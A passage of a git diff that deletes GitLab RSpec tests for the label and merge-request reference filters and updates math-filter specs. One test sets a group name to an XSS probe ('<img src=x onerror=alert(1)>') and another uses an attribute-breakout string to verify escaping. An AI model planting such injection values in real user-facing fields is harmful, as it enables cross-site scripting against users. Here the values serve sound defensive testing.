- let(:extras) { subject.object_link_text_extras(issue, matches) }
-
- subject { filter_instance }
-
- context 'the link does not go to the designs tab' do
- let(:input_text) { Gitlab::Routing.url_helpers.project_issue_url(issue.project, issue) }
-
- it 'does not include designs' do
- expect(extras).not_to include('designs')
- end
- end
-
- context 'the link goes to the designs tab' do
- let(:input_text) { url_for_designs(issue) }
-
- it 'includes designs' do
- expect(extras).to include('designs')
- end
-
- context 'design management is disabled' do
- let(:enabled) { false }
-
- it 'does not include designs in the extras' do
- expect(extras).not_to include('designs')
- end
- end
- end
- end
-end
diff --git a/spec/lib/banzai/filter/label_reference_filter_spec.rb b/spec/lib/banzai/filter/label_reference_filter_spec.rb
deleted file mode 100644
index 726ef8c57ab..00000000000
--- a/spec/lib/banzai/filter/label_reference_filter_spec.rb
+++ /dev/null
@@ -1,705 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-require 'html/pipeline'
-
-RSpec.describe Banzai::Filter::LabelReferenceFilter do
- include FilterSpecHelper
-
- let(:project) { create(:project, :public, name: 'sample-project') }
- let(:label) { create(:label, project: project) }
- let(:reference) { label.to_reference }
-
- it_behaves_like 'HTML text with references' do
- let(:resource) { label }
- let(:resource_text) { resource.title }
- end
-
- it 'requires project context' do
- expect { described_class.call('') }.to raise_error(ArgumentError, /:project/)
- end
-
- %w(pre code a style).each do |elem|
- it "ignores valid references contained inside '#{elem}' element" do
- exp = act = "<#{elem}>Label #{reference}</#{elem}>"
- expect(reference_filter(act).to_html).to eq exp
- end
- end
-
- it 'includes default classes' do
- doc = reference_filter("Label #{reference}")
- expect(doc.css('a').first.attr('class')).to eq 'gfm gfm-label has-tooltip gl-link gl-label-link'
- end
-
- it 'avoids N+1 cached queries', :use_sql_query_cache, :request_store do
- # Run this once to establish a baseline
- reference_filter("Label #{reference}")
-
- control_count = ActiveRecord::QueryRecorder.new(skip_cached: false) do
- reference_filter("Label #{reference}")
- end
-
- labels_markdown = Array.new(10, "Label #{reference}").join('\n')
-
- expect { reference_filter(labels_markdown) }.not_to exceed_all_query_limit(control_count.count)
- end
-
- it 'includes a data-project attribute' do
- doc = reference_filter("Label #{reference}")
- link = doc.css('a').first
-
- expect(link).to have_attribute('data-project')
- expect(link.attr('data-project')).to eq project.id.to_s
- end
-
- it 'includes a data-label attribute' do
- doc = reference_filter("See #{reference}")
- link = doc.css('a').first
-
- expect(link).to have_attribute('data-label')
- expect(link.attr('data-label')).to eq label.id.to_s
- end
-
- it 'includes protocol when :only_path not present' do
- doc = reference_filter("Label #{reference}")
- link = doc.css('a').first.attr('href')
-
- expect(link).to match %r(https?://)
- end
-
- it 'does not include protocol when :only_path true' do
- doc = reference_filter("Label #{reference}", only_path: true)
- link = doc.css('a').first.attr('href')
-
- expect(link).not_to match %r(https?://)
- end
-
- it 'links to issue list when :label_url_method is not present' do
- doc = reference_filter("Label #{reference}", only_path: true)
- link = doc.css('a').first.attr('href')
-
- expect(link).to eq urls.project_issues_path(project, label_name: label.name)
- end
-
- it 'links to merge request list when `label_url_method: :project_merge_requests_url`' do
- doc = reference_filter("Label #{reference}", { only_path: true, label_url_method: "project_merge_requests_url" })
- link = doc.css('a').first.attr('href')
-
- expect(link).to eq urls.project_merge_requests_path(project, label_name: label.name)
- end
-
- context 'project that does not exist referenced' do
- let(:result) { reference_filter('aaa/bbb~ccc') }
-
- it 'does not link reference' do
- expect(result.to_html).to eq 'aaa/bbb~ccc'
- end
- end
-
- describe 'label span element' do
- it 'includes default classes' do
- doc = reference_filter("Label #{reference}")
- expect(doc.css('a span').first.attr('class')).to include 'gl-label-text'
- end
-
- it 'includes a style attribute' do
- doc = reference_filter("Label #{reference}")
- expect(doc.css('a span').first.attr('style')).to match(/\Abackground-color: #\h{6}\z/)
- end
- end
-
- context 'Integer-based references' do
- it 'links to a valid reference' do
- doc = reference_filter("See #{reference}")
-
- expect(doc.css('a').first.attr('href')).to eq urls
- .project_issues_url(project, label_name: label.name)
- end
-
- it 'links with adjacent text' do
- doc = reference_filter("Label (#{reference}.)")
- expect(doc.to_html).to match(%r(\(<span.+><a.+><span.+>#{label.name}</span></a></span>\.\)))
- end
-
- it 'ignores invalid label IDs' do
- exp = act = "Label #{invalidate_reference(reference)}"
-
- expect(reference_filter(act).to_html).to eq exp
- end
- end
-
- context 'String-based single-word references' do
- let(:label) { create(:label, name: 'gfm', project: project) }
- let(:reference) { "#{Label.reference_prefix}#{label.name}" }
-
- it 'links to a valid reference' do
- doc = reference_filter("See #{reference}")
-
- expect(doc.css('a').first.attr('href')).to eq urls
- .project_issues_url(project, label_name: label.name)
- expect(doc.text).to eq 'See gfm'
- end
-
- it 'links with adjacent text' do
- doc = reference_filter("Label (#{reference}).")
- expect(doc.to_html).to match(%r(\(<span.+><a.+><span.+>#{label.name}</span></a></span>\)\.))
- end
-
- it 'ignores invalid label names' do
- exp = act = "Label #{Label.reference_prefix}#{label.name.reverse}"
-
- expect(reference_filter(act).to_html).to eq exp
- end
- end
-
- context 'String-based single-word references that begin with a digit' do
- let(:label) { create(:label, name: '2fa', project: project) }
- let(:reference) { "#{Label.reference_prefix}#{label.name}" }
-
- it 'links to a valid reference' do
- doc = reference_filter("See #{reference}")
-
- expect(doc.css('a').first.attr('href')).to eq urls
- .project_issues_url(project, label_name: label.name)
- expect(doc.text).to eq 'See 2fa'
- end
-
- it 'links with adjacent text' do
- doc = reference_filter("Label (#{reference}).")
- expect(doc.to_html).to match(%r(\(<span.+><a.+><span.+>#{label.name}</span></a></span>\)\.))
- end
-
- it 'ignores invalid label names' do
- exp = act = "Label #{Label.reference_prefix}#{label.id}#{label.name.reverse}"
-
- expect(reference_filter(act).to_html).to eq exp
- end
- end
-
- context 'String-based single-word references with special characters' do
- let(:label) { create(:label, name: '?g.fm&', project: project) }
- let(:reference) { "#{Label.reference_prefix}#{label.name}" }
-
- it 'links to a valid reference' do
- doc = reference_filter("See #{reference}")
-
- expect(doc.css('a').first.attr('href')).to eq urls
- .project_issues_url(project, label_name: label.name)
- expect(doc.text).to eq 'See ?g.fm&'
- end
-
- it 'does not include trailing punctuation', :aggregate_failures do
- ['.', ', ok?', '...', '?', '!', ': is that ok?'].each do |trailing_punctuation|
- doc = filter("Label #{reference}#{trailing_punctuation}")
- expect(doc.to_html).to match(%r(<span.+><a.+><span.+>\?g\.fm&amp;</span></a></span>#{Regexp.escape(trailing_punctuation)}))
- end
- end
-
- it 'ignores invalid label names' do
- act = "Label #{Label.reference_prefix}#{label.name.reverse}"
- exp = "Label #{Label.reference_prefix}&amp;mf.g?"
-
- expect(reference_filter(act).to_html).to eq exp
- end
- end
-
- context 'String-based multi-word references in quotes' do
- let(:label) { create(:label, name: 'gfm references', project: project) }
- let(:reference) { label.to_reference(format: :name) }
-
- it 'links to a valid reference' do
- doc = reference_filter("See #{reference}")
-
- expect(doc.css('a').first.attr('href')).to eq urls
- .project_issues_url(project, label_name: label.name)
- expect(doc.text).to eq 'See gfm references'
- end
-
- it 'links with adjacent text' do
- doc = reference_filter("Label (#{reference}.)")
- expect(doc.to_html).to match(%r(\(<span.+><a.+><span.+>#{label.name}</span></a></span>\.\)))
- end
-
- it 'ignores invalid label names' do
- exp = act = %(Label #{Label.reference_prefix}"#{label.name.reverse}")
-
- expect(reference_filter(act).to_html).to eq exp
- end
- end
-
- context 'String-based multi-word references that begin with a digit' do
- let(:label) { create(:label, name: '2 factor authentication', project: project) }
- let(:reference) { label.to_reference(format: :name) }
-
- it 'links to a valid reference' do
- doc = reference_filter("See #{reference}")
-
- expect(doc.css('a').first.attr('href')).to eq urls
- .project_issues_url(project, label_name: label.name)
- expect(doc.text).to eq 'See 2 factor authentication'
- end
-
- it 'links with adjacent text' do
- doc = reference_filter("Label (#{reference}.)")
- expect(doc.to_html).to match(%r(\(<span.+><a.+><span.+>#{label.name}</span></a></span>\.\)))
- end
-
- it 'ignores invalid label names' do
- exp = act = "Label #{Label.reference_prefix}#{label.id}#{label.name.reverse}"
-
- expect(reference_filter(act).to_html).to eq exp
- end
- end
-
- context 'String-based multi-word references with special characters in quotes' do
- let(:label) { create(:label, name: 'g.fm & references?', project: project) }
- let(:reference) { label.to_reference(format: :name) }
-
- it 'links to a valid reference' do
- doc = reference_filter("See #{reference}")
-
- expect(doc.css('a').first.attr('href')).to eq urls
- .project_issues_url(project, label_name: label.name)
- expect(doc.text).to eq 'See g.fm & references?'
- end
-
- it 'links with adjacent text' do
- doc = reference_filter("Label (#{reference}.)")
- expect(doc.to_html).to match(%r(\(<span.+><a.+><span.+>g\.fm &amp; references\?</span></a></span>\.\)))
- end
-
- it 'ignores invalid label names' do
- act = %(Label #{Label.reference_prefix}"#{label.name.reverse}")
- exp = %(Label #{Label.reference_prefix}"?secnerefer &amp; mf.g\")
-
- expect(reference_filter(act).to_html).to eq exp
- end
- end
-
- context 'References with html entities' do
- let!(:label) { create(:label, name: '&lt;html&gt;', project: project) }
-
- it 'links to a valid reference' do
- doc = reference_filter('See ~"&lt;html&gt;"')
-
- expect(doc.css('a').first.attr('href')).to eq urls
- .project_issues_url(project, label_name: label.name)
- expect(doc.text).to eq 'See <html>'
- end
-
- it 'ignores invalid label names and escapes entities' do
- act = %(Label #{Label.reference_prefix}"&lt;non valid&gt;")
-
- expect(reference_filter(act).to_html).to eq act
- end
- end
-
- describe 'consecutive references' do
- let(:bug) { create(:label, name: 'bug', project: project) }
- let(:feature_proposal) { create(:label, name: 'feature proposal', project: project) }
- let(:technical_debt) { create(:label, name: 'technical debt', project: project) }
-
- let(:bug_reference) { "#{Label.reference_prefix}#{bug.name}" }
- let(:feature_proposal_reference) { feature_proposal.to_reference(format: :name) }
- let(:technical_debt_reference) { technical_debt.to_reference(format: :name) }
-
- context 'separated with a comma' do
- let(:references) { "#{bug_reference}, #{feature_proposal_reference}, #{technical_debt_reference}" }
-
- it 'links to valid references' do
- doc = reference_filter("See #{references}")
-
- expect(doc.css('a').map { |a| a.attr('href') }).to match_array([
- urls.project_issues_url(project, label_name: bug.name),
- urls.project_issues_url(project, label_name: feature_proposal.name),
- urls.project_issues_url(project, label_name: technical_debt.name)
- ])
- expect(doc.text).to eq 'See bug, feature proposal, technical debt'
- end
- end
-
- context 'separated with a space' do
- let(:references) { "#{bug_reference} #{feature_proposal_reference} #{technical_debt_reference}" }
-
- it 'links to valid references' do
- doc = reference_filter("See #{references}")
-
- expect(doc.css('a').map { |a| a.attr('href') }).to match_array([
- urls.project_issues_url(project, label_name: bug.name),
- urls.project_issues_url(project, label_name: feature_proposal.name),
- urls.project_issues_url(project, label_name: technical_debt.name)
- ])
- expect(doc.text).to eq 'See bug feature proposal technical debt'
- end
- end
- end
-
- describe 'edge cases' do
- it 'gracefully handles non-references matching the pattern' do
- exp = act = '(format nil "~0f" 3.0) ; 3.0'
- expect(reference_filter(act).to_html).to eq exp
- end
- end
-
- describe 'referencing a label in a link href' do
- let(:reference) { %Q{<a href="#{label.to_reference}">Label</a>} }
-
- it 'links to a valid reference' do
- doc = reference_filter("See #{reference}")
-
- expect(doc.css('a').first.attr('href')).to eq urls
- .project_issues_url(project, label_name: label.name)
- end
-
- it 'links with adjacent text' do
- doc = reference_filter("Label (#{reference}.)")
- expect(doc.to_html).to match(%r(\(<span.+><a.+>Label</a></span>\.\)))
- end
-
- it 'includes a data-project attribute' do
- doc = reference_filter("Label #{reference}")
- link = doc.css('a').first
-
- expect(link).to have_attribute('data-project')
- expect(link.attr('data-project')).to eq project.id.to_s
- end
-
- it 'includes a data-label attribute' do
- doc = reference_filter("See #{reference}")
- link = doc.css('a').first
-
- expect(link).to have_attribute('data-label')
- expect(link.attr('data-label')).to eq label.id.to_s
- end
- end
-
- describe 'group label references' do
- let(:group) { create(:group) }
- let(:project) { create(:project, :public, namespace: group) }
- let(:group_label) { create(:group_label, name: 'gfm references', group: group) }
-
- context 'without project reference' do
- let(:reference) { group_label.to_reference(format: :name) }
-
- it 'links to a valid reference' do
- doc = reference_filter("See #{reference}", project: project)
-
- expect(doc.css('a').first.attr('href')).to eq urls
- .project_issues_url(project, label_name: group_label.name)
- expect(doc.text).to eq 'See gfm references'
- end
-
- it 'links with adjacent text' do
- doc = reference_filter("Label (#{reference}.)")
- expect(doc.to_html).to match(%r(\(<span.+><a.+><span.+>#{group_label.name}</span></a></span>\.\)))
- end
-
- it 'ignores invalid label names' do
- exp = act = %(Label #{Label.reference_prefix}"#{group_label.name.reverse}")
-
- expect(reference_filter(act).to_html).to eq exp
- end
- end
-
- context 'with project reference' do
- let(:reference) { "#{project.to_reference_base}#{group_label.to_reference(format: :name)}" }
-
- it 'links to a valid reference' do
- doc = reference_filter("See #{reference}", project: project)
-
- expect(doc.css('a').first.attr('href')).to eq urls
- .project_issues_url(project, label_name: group_label.name)
- expect(doc.text).to eq "See gfm references"
- end
-
- it 'links with adjacent text' do
- doc = reference_filter("Label (#{reference}.)")
- expect(doc.to_html).to match(%r(\(<span.+><a.+><span.+>#{group_label.name}</span></a></span>\.\)))
- end
-
- it 'ignores invalid label names' do
- exp = act = %(Label #{project.to_reference_base}#{Label.reference_prefix}"#{group_label.name.reverse}")
-
- expect(reference_filter(act).to_html).to eq exp
- end
- end
- end
-
- describe 'cross-project / cross-namespace complete reference' do
- let(:project2) { create(:project) }
- let(:label) { create(:label, project: project2, color: '#00ff00') }
- let(:reference) { "#{project2.full_path}~#{label.name}" }
- let!(:result) { reference_filter("See #{reference}") }
-
- it 'links to a valid reference' do
- expect(result.css('a').first.attr('href'))
- .to eq urls.project_issues_url(project2, label_name: label.name)
- end
-
- it 'has valid color' do
- expect(result.css('a span').first.attr('style')).to match /background-color: #00ff00/
- end
-
- it 'has valid link text' do
- expect(result.css('a').first.text).to eq "#{label.name} in #{project2.full_name}"
- end
-
- it 'has valid text' do
- expect(result.text).to eq "See #{label.name} in #{project2.full_name}"
- end
-
- it 'ignores invalid IDs on the referenced label' do
- exp = act = "See #{invalidate_reference(reference)}"
-
- expect(reference_filter(act).to_html).to eq exp
- end
- end
-
- describe 'cross-project / same-namespace complete reference' do
- let(:namespace) { create(:namespace) }
- let(:project) { create(:project, namespace: namespace) }
- let(:project2) { create(:project, namespace: namespace) }
- let(:label) { create(:label, project: project2, color: '#00ff00') }
- let(:reference) { "#{project2.full_path}~#{label.name}" }
- let!(:result) { reference_filter("See #{reference}") }
-
- it 'links to a valid reference' do
- expect(result.css('a').first.attr('href'))
- .to eq urls.project_issues_url(project2, label_name: label.name)
- end
-
- it 'has valid color' do
- expect(result.css('a span').first.attr('style')).to match /background-color: #00ff00/
- end
-
- it 'has valid link text' do
- expect(result.css('a').first.text).to eq "#{label.name} in #{project2.name}"
- end
-
- it 'has valid text' do
- expect(result.text).to eq "See #{label.name} in #{project2.name}"
- end
-
- it 'ignores invalid IDs on the referenced label' do
- exp = act = "See #{invalidate_reference(reference)}"
-
- expect(reference_filter(act).to_html).to eq exp
- end
- end
-
- describe 'cross-project shorthand reference' do
- let(:namespace) { create(:namespace) }
- let(:project) { create(:project, namespace: namespace) }
- let(:project2) { create(:project, namespace: namespace) }
- let(:label) { create(:label, project: project2, color: '#00ff00') }
- let(:reference) { "#{project2.path}~#{label.name}" }
- let!(:result) { reference_filter("See #{reference}") }
-
- it 'links to a valid reference' do
- expect(result.css('a').first.attr('href'))
- .to eq urls.project_issues_url(project2, label_name: label.name)
- end
-
- it 'has valid color' do
- expect(result.css('a span').first.attr('style'))
- .to match /background-color: #00ff00/
- end
-
- it 'has valid link text' do
- expect(result.css('a').first.text).to eq "#{label.name} in #{project2.name}"
- end
-
- it 'has valid text' do
- expect(result.text).to eq "See #{label.name} in #{project2.name}"
- end
-
- it 'ignores invalid IDs on the referenced label' do
- exp = act = "See #{invalidate_reference(reference)}"
-
- expect(reference_filter(act).to_html).to eq exp
- end
- end
-
- describe 'cross group label references' do
- let(:group) { create(:group) }
- let(:project) { create(:project, :public, namespace: group) }
- let(:another_group) { create(:group) }
- let(:another_project) { create(:project, :public, namespace: another_group) }
- let(:group_label) { create(:group_label, group: another_group, color: '#00ff00') }
- let(:reference) { "#{another_project.full_path}~#{group_label.name}" }
- let!(:result) { reference_filter("See #{reference}", project: project) }
-
- it 'points to referenced project issues page' do
- expect(result.css('a').first.attr('href'))
- .to eq urls.project_issues_url(another_project, label_name: group_label.name)
- end
-
- it 'has valid color' do
- expect(result.css('a span').first.attr('style'))
- .to match /background-color: #00ff00/
- end
-
- it 'has valid link text' do
- expect(result.css('a').first.text)
- .to eq "#{group_label.name} in #{another_project.full_name}"
- end
-
- it 'has valid text' do
- expect(result.text)
- .to eq "See #{group_label.name} in #{another_project.full_name}"
- end
-
- it 'ignores invalid IDs on the referenced label' do
- exp = act = "See #{invalidate_reference(reference)}"
-
- expect(reference_filter(act).to_html).to eq exp
- end
-
- context 'when group name has HTML entities' do
- let(:another_group) { create(:group, name: 'random', path: 'another_group') }
-
- before do
- another_group.name = "<img src=x onerror=alert(1)>"
- another_group.save!(validate: false)
- end
-
- it 'escapes the HTML entities' do
- expect(result.text)
- .to eq "See #{group_label.name} in #{another_project.full_name}"
- end
- end
- end
-
- describe 'cross-project / same-group_label complete reference' do
- let(:group) { create(:group) }
- let(:project) { create(:project, :public, namespace: group) }
- let(:another_project) { create(:project, :public, namespace: group) }
- let(:group_label) { create(:group_label, group: group, color: '#00ff00') }
- let(:reference) { "#{another_project.full_path}~#{group_label.name}" }
- let!(:result) { reference_filter("See #{reference}", project: project) }
-
- it 'points to referenced project issues page' do
- expect(result.css('a').first.attr('href'))
- .to eq urls.project_issues_url(another_project, label_name: group_label.name)
- end
-
- it 'has valid color' do
- expect(result.css('a span').first.attr('style'))
- .to match /background-color: #00ff00/
- end
-
- it 'has valid link text' do
- expect(result.css('a').first.text)
- .to eq "#{group_label.name} in #{another_project.name}"
- end
-
- it 'has valid text' do
- expect(result.text)
- .to eq "See #{group_label.name} in #{another_project.name}"
- end
-
- it 'ignores invalid IDs on the referenced label' do
- exp = act = "See #{invalidate_reference(reference)}"
-
- expect(reference_filter(act).to_html).to eq exp
- end
- end
-
- describe 'same project / same group_label complete reference' do
- let(:group) { create(:group) }
- let(:project) { create(:project, :public, namespace: group) }
- let(:group_label) { create(:group_label, group: group, color: '#00ff00') }
- let(:reference) { "#{project.full_path}~#{group_label.name}" }
- let!(:result) { reference_filter("See #{reference}", project: project) }
-
- it 'points to referenced project issues page' do
- expect(result.css('a').first.attr('href'))
- .to eq urls.project_issues_url(project, label_name: group_label.name)
- end
-
- it 'has valid color' do
- expect(result.css('a span').first.attr('style'))
- .to match /background-color: #00ff00/
- end
-
- it 'has valid link text' do
- expect(result.css('a').first.text).to eq group_label.name
- end
-
- it 'has valid text' do
- expect(result.text).to eq "See #{group_label.name}"
- end
-
- it 'ignores invalid IDs on the referenced label' do
- exp = act = "See #{invalidate_reference(reference)}"
-
- expect(reference_filter(act).to_html).to eq exp
- end
- end
-
- describe 'same project / same group_label shorthand reference' do
- let(:group) { create(:group) }
- let(:project) { create(:project, :public, namespace: group) }
- let(:group_label) { create(:group_label, group: group, color: '#00ff00') }
- let(:reference) { "#{project.path}~#{group_label.name}" }
- let!(:result) { reference_filter("See #{reference}", project: project) }
-
- it 'points to referenced project issues page' do
- expect(result.css('a').first.attr('href'))
- .to eq urls.project_issues_url(project, label_name: group_label.name)
- end
-
- it 'has valid color' do
- expect(result.css('a span').first.attr('style'))
- .to match /background-color: #00ff00/
- end
-
- it 'has valid link text' do
- expect(result.css('a').first.text).to eq group_label.name
- end
-
- it 'has valid text' do
- expect(result.text).to eq "See #{group_label.name}"
- end
-
- it 'ignores invalid IDs on the referenced label' do
- exp = act = "See #{invalidate_reference(reference)}"
-
- expect(reference_filter(act).to_html).to eq exp
- end
- end
-
- describe 'group context' do
- it 'points to the page defined in label_url_method' do
- group = create(:group)
- label = create(:group_label, group: group)
- reference = "~#{label.name}"
-
- result = reference_filter("See #{reference}", { project: nil, group: group, label_url_method: :group_url } )
-
- expect(result.css('a').first.attr('href')).to eq(urls.group_url(group, label_name: label.name))
- end
-
- it 'finds labels also in ancestor groups' do
- group = create(:group)
- label = create(:group_label, group: group)
- subgroup = create(:group, parent: group)
- reference = "~#{label.name}"
-
- result = reference_filter("See #{reference}", { project: nil, group: subgroup, label_url_method: :group_url } )
-
- expect(result.css('a').first.attr('href')).to eq(urls.group_url(subgroup, label_name: label.name))
- end
-
- it 'points to referenced project issues page' do
- project = create(:project)
- label = create(:label, project: project)
- reference = "#{project.full_path}~#{label.name}"
-
- result = reference_filter("See #{reference}", { project: nil, group: create(:group) } )
-
- expect(result.css('a').first.attr('href')).to eq(urls.project_issues_url(project, label_name: label.name))
- expect(result.css('a').first.text).to eq "#{label.name} in #{project.full_name}"
- end
- end
-end
diff --git a/spec/lib/banzai/filter/math_filter_spec.rb b/spec/lib/banzai/filter/math_filter_spec.rb
index 9f6688f4f7d..6d22fa3a001 100644
--- a/spec/lib/banzai/filter/math_filter_spec.rb
+++ b/spec/lib/banzai/filter/math_filter_spec.rb
@@ -91,35 +91,35 @@ RSpec.describe Banzai::Filter::MathFilter do
# Display math
it 'adds data-math-style display attribute to display math' do
- doc = filter('<pre class="code highlight js-syntax-highlight math" v-pre="true"><code>2+2</code></pre>')
+ doc = filter('<pre class="code highlight js-syntax-highlight language-math" v-pre="true"><code>2+2</code></pre>')
pre = doc.xpath('descendant-or-self::pre').first
expect(pre['data-math-style']).to eq 'display'
end
it 'adds js-render-math class to display math' do
- doc = filter('<pre class="code highlight js-syntax-highlight math" v-pre="true"><code>2+2</code></pre>')
+ doc = filter('<pre class="code highlight js-syntax-highlight language-math" v-pre="true"><code>2+2</code></pre>')
pre = doc.xpath('descendant-or-self::pre').first
expect(pre[:class]).to include("js-render-math")
end
it 'ignores code blocks that are not math' do
- input = '<pre class="code highlight js-syntax-highlight plaintext" v-pre="true"><code>2+2</code></pre>'
+ input = '<pre class="code highlight js-syntax-highlight language-plaintext" v-pre="true"><code>2+2</code></pre>'
doc = filter(input)
expect(doc.to_s).to eq input
end
it 'requires the pre to contain both code and math' do
- input = '<pre class="highlight js-syntax-highlight plaintext math" v-pre="true"><code>2+2</code></pre>'
+ input = '<pre class="highlight js-syntax-highlight language-plaintext language-math" v-pre="true"><code>2+2</code></pre>'
doc = filter(input)
expect(doc.to_s).to eq input
end
it 'dollar signs around to display math' do
- doc = filter('$<pre class="code highlight js-syntax-highlight math" v-pre="true"><code>2+2</code></pre>$')
+ doc = filter('$<pre class="code highlight js-syntax-highlight language-math" v-pre="true"><code>2+2</code></pre>$')
before = doc.xpath('descendant-or-self::text()[1]').first
after = doc.xpath('descendant-or-self::text()[3]').first
diff --git a/spec/lib/banzai/filter/merge_request_reference_filter_spec.rb b/spec/lib/banzai/filter/merge_request_reference_filter_spec.rb
deleted file mode 100644
index 811c2aca342..00000000000
--- a/spec/lib/banzai/filter/merge_request_reference_filter_spec.rb
+++ /dev/null
@@ -1,289 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Banzai::Filter::MergeRequestReferenceFilter do
- include FilterSpecHelper
-
- let(:project) { create(:project, :public) }
- let(:merge) { create(:merge_request, source_project: project) }
-
- it 'requires project context' do
- expect { described_class.call('') }.to raise_error(ArgumentError, /:project/)
- end
-
- %w(pre code a style).each do |elem|
- it "ignores valid references contained inside '#{elem}' element" do
- exp = act = "<#{elem}>Merge #{merge.to_reference}</#{elem}>"
- expect(reference_filter(act).to_html).to eq exp
- end
- end
-
- describe 'performance' do
- let(:another_merge) { create(:merge_request, source_project: project, source_branch: 'fix') }
-
- it 'does not have a N+1 query problem' do
- single_reference = "Merge request #{merge.to_reference}"
- multiple_references = "Merge requests #{merge.to_reference} and #{another_merge.to_reference}"
-
- control_count = ActiveRecord::QueryRecorder.new { reference_filter(single_reference).to_html }.count
-
- expect { reference_filter(multiple_references).to_html }.not_to exceed_query_limit(control_count)
- end
- end
-
- describe 'all references' do
- let(:doc) { reference_filter(merge.to_reference) }
- let(:tag_el) { doc.css('a').first }
-
- it 'adds merge request iid' do
- expect(tag_el["data-iid"]).to eq(merge.iid.to_s)
- end
-
- it 'adds project data attribute with project id' do
- expect(tag_el["data-project-path"]).to eq(project.full_path)
- end
-
- it 'does not add `has-tooltip` class' do
- expect(tag_el["class"]).not_to include('has-tooltip')
- end
- end
-
- context 'internal reference' do
- let(:reference) { merge.to_reference }
-
- it 'links to a valid reference' do
- doc = reference_filter("See #{reference}")
-
- expect(doc.css('a').first.attr('href')).to eq urls
- .project_merge_request_url(project, merge)
- end
-
- it 'links with adjacent text' do
- doc = reference_filter("Merge (#{reference}.)")
- expect(doc.to_html).to match(%r{\(<a.+>#{Regexp.escape(reference)}</a>\.\)})
- end
-
- it 'ignores invalid merge IDs' do
- exp = act = "Merge #{invalidate_reference(reference)}"
-
- expect(reference_filter(act).to_html).to eq exp
- end
-
- it 'ignores out-of-bounds merge request IDs on the referenced project' do
- exp = act = "Merge !#{Gitlab::Database::MAX_INT_VALUE + 1}"
-
- expect(reference_filter(act).to_html).to eq exp
- end
-
- it 'has no title' do
- doc = reference_filter("Merge #{reference}")
- expect(doc.css('a').first.attr('title')).to eq ""
- end
-
- it 'escapes the title attribute' do
- merge.update_attribute(:title, %{"></a>whatever<a title="})
-
- doc = reference_filter("Merge #{reference}")
- expect(doc.text).to eq "Merge #{reference}"
- end
-
- it 'includes default classes, without tooltip' do
- doc = reference_filter("Merge #{reference}")
- expect(doc.css('a').first.attr('class')).to eq 'gfm gfm-merge_request'
- end
-
- it 'includes a data-project attribute' do
- doc = reference_filter("Merge #{reference}")
- link = doc.css('a').first
-
- expect(link).to have_attribute('data-project')
- expect(link.attr('data-project')).to eq project.id.to_s
- end
-
- it 'includes a data-merge-request attribute' do
- doc = reference_filter("See #{reference}")
- link = doc.css('a').first
-
- expect(link).to have_attribute('data-merge-request')
- expect(link.attr('data-merge-request')).to eq merge.id.to_s
- end
-
- it 'supports an :only_path context' do
- doc = reference_filter("Merge #{reference}", only_path: true)
- link = doc.css('a').first.attr('href')
-
- expect(link).not_to match %r(https?://)
- expect(link).to eq urls.project_merge_request_url(project, merge, only_path: true)
- end
- end
-
- context 'cross-project / cross-namespace complete reference' do
- let(:project2) { create(:project, :public) }
- let(:merge) { create(:merge_request, source_project: project2) }
- let(:reference) { "#{project2.full_path}!#{merge.iid}" }
-
- it 'links to a valid reference' do
- doc = reference_filter("See #{reference}")
-
- expect(doc.css('a').first.attr('href'))
- .to eq urls.project_merge_request_url(project2, merge)
- end
-
- it 'link has valid text' do
- doc = reference_filter("Merge (#{reference}.)")
-
- expect(doc.css('a').first.text).to eq(reference)
- end
-
- it 'has valid text' do
- doc = reference_filter("Merge (#{reference}.)")
-
- expect(doc.text).to eq("Merge (#{reference}.)")
- end
-
- it 'ignores invalid merge IDs on the referenced project' do
- exp = act = "Merge #{invalidate_reference(reference)}"
-
- expect(reference_filter(act).to_html).to eq exp
- end
- end
-
- context 'cross-project / same-namespace complete reference' do
- let(:namespace) { create(:namespace) }
- let(:project) { create(:project, :public, namespace: namespace) }
- let(:project2) { create(:project, :public, namespace: namespace) }
- let!(:merge) { create(:merge_request, source_project: project2) }
- let(:reference) { "#{project2.full_path}!#{merge.iid}" }
-
- it 'links to a valid reference' do
- doc = reference_filter("See #{reference}")
-
- expect(doc.css('a').first.attr('href'))
- .to eq urls.project_merge_request_url(project2, merge)
- end
-
- it 'link has valid text' do
- doc = reference_filter("Merge (#{reference}.)")
-
- expect(doc.css('a').first.text).to eq("#{project2.path}!#{merge.iid}")
- end
-
- it 'has valid text' do
- doc = reference_filter("Merge (#{reference}.)")
-
- expect(doc.text).to eq("Merge (#{project2.path}!#{merge.iid}.)")
- end
-
- it 'ignores invalid merge IDs on the referenced project' do
- exp = act = "Merge #{invalidate_reference(reference)}"
-
- expect(reference_filter(act).to_html).to eq exp
- end
- end
-
- context 'cross-project shorthand reference' do
- let(:namespace) { create(:namespace) }
- let(:project) { create(:project, :public, namespace: namespace) }
- let(:project2) { create(:project, :public, namespace: namespace) }
- let!(:merge) { create(:merge_request, source_project: project2) }
- let(:reference) { "#{project2.path}!#{merge.iid}" }
-
- it 'links to a valid reference' do
- doc = reference_filter("See #{reference}")
-
- expect(doc.css('a').first.attr('href'))
- .to eq urls.project_merge_request_url(project2, merge)
- end
-
- it 'link has valid text' do
- doc = reference_filter("Merge (#{reference}.)")
-
- expect(doc.css('a').first.text).to eq("#{project2.path}!#{merge.iid}")
- end
-
- it 'has valid text' do
- doc = reference_filter("Merge (#{reference}.)")
-
- expect(doc.text).to eq("Merge (#{project2.path}!#{merge.iid}.)")
- end
-
- it 'ignores invalid merge IDs on the referenced project' do
- exp = act = "Merge #{invalidate_reference(reference)}"
-
- expect(reference_filter(act).to_html).to eq exp
- end
- end
-
- context 'URL reference for a commit' do
- let(:mr) { create(:merge_request) }
- let(:reference) do
- urls.project_merge_request_url(mr.project, mr) + "/diffs?commit_id=#{mr.diff_head_sha}"
- end
-
- let(:commit) { mr.commits.find { |commit| commit.sha == mr.diff_head_sha } }
-
- it 'links to a valid reference' do
- doc = reference_filter("See #{reference}")
-
- expect(doc.css('a').first.attr('href'))
- .to eq reference
- end
-
- it 'commit ref tag is valid' do
- doc = reference_filter("See #{reference}")
- commit_ref_tag = doc.css('a').first.css('span.gfm.gfm-commit')
-
- expect(commit_ref_tag.text).to eq(commit.short_id)
- end
-
- it 'has valid text' do
- doc = reference_filter("See #{reference}")
-
- expect(doc.text).to eq("See #{mr.to_reference(full: true)} (#{commit.short_id})")
- end
-
- it 'has valid title attribute' do
- doc = reference_filter("See #{reference}")
-
- expect(doc.css('a').first.attr('title')).to eq(commit.title)
- end
-
- it 'ignores invalid commit short_ids on link text' do
